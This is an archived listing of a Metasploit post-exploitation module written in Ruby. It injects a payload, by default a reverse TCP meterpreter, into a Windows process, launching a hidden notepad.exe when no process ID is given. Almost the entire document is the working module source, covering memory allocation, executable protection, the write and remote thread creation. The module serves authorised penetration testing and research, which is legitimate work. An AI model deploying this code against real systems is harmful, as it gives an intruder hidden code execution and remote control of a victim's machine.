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Windows Manage Memory Payload Injection

Windows Manage Memory Payload Injection
Posted Jan 24, 2013
Authored by sinn3r, Carlos Perez | Site metasploit.com

This Metasploit module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead.

tags | exploit, x86, tcp
SHA-256 | 19c7c53f42d760a9afadc94975ca390c02a34390696f9912af9f0ec1463460e1

Windows Manage Memory Payload Injection

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##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# https://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Memory Payload Injection',
'Description' => %q{
This module will inject a payload into memory of a process. If a payload
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
datastore option isn't specified, then it'll inject into notepad.exe instead.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'sinn3r'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate'=> "Oct 12 2011"
))

register_options(
[
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
], self.class)
end

# Run Method for when run command is issued
def exploit
@payload_name = datastore['PAYLOAD']
@payload_arch = framework.payloads.create(@payload_name).arch

# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

pid = get_pid
if not pid
print_error("Unable to get a proper PID")
return
end

if @payload_arch.first =~ /64/ and client.platform =~ /x86/
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
print_error("Migrate to an x64 process and try again.")
return false
else
inject_into_pid(pid)
end
end

# Figures out which PID to inject to
def get_pid
pid = datastore['PID']
if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
print_status("Launching notepad.exe...")
pid = create_temp_proc
end

return pid
end


# Determines if a PID actually exists
def has_pid?(pid)
procs = []
begin
procs = client.sys.process.processes
rescue Rex::Post::Meterpreter::RequestError
print_error("Unable to enumerate processes")
return false
end

pids = []

procs.each do |p|
found_pid = p['pid']
return true if found_pid == pid
end

print_error("PID #{pid.to_s} does not actually exist.")

return false
end

# Checks the Architeture of a Payload and PID are compatible
# Returns true if they are false if they are not
def arch_check(pid)
# get the pid arch
client.sys.process.processes.each do |p|
# Check Payload Arch
if pid == p["pid"]
vprint_status("Process found checking Architecture")
if @payload_arch.first == p['arch']
vprint_good("Process is the same architecture as the payload")
return true
else
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
return false
end
end
end
end

# Creates a temp notepad.exe to inject payload in to given the payload
# Returns process PID
def create_temp_proc()
windir = client.fs.file.expand_path("%windir%")
# Select path of executable to run depending the architecture
if @payload_arch.first== "x86" and client.platform =~ /x86/
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif @payload_arch.first == "x86" and client.platform =~ /x64/
cmd = "#{windir}\\SysWOW64\\notepad.exe"
end

begin
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
rescue Rex::Post::Meterpreter::RequestError
return nil
end

return proc.pid
end

def inject_into_pid(pid)
vprint_status("Performing Architecture Check")
return if not arch_check(pid)

begin
print_status("Preparing '#{@payload_name}' for PID #{pid}")
raw = payload.generate

print_status("Opening process #{pid.to_s}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
if not host_process
print_error("Unable to open #{pid.to_s}")
return
end

print_status("Allocating memory in procees #{pid}")
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

# Ensure memory is set for execution
host_process.memory.protect(mem)

print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_good("Successfully injected payload in to process: #{pid}")

rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to inject payload:")
print_line(e.to_s)
end
end

end
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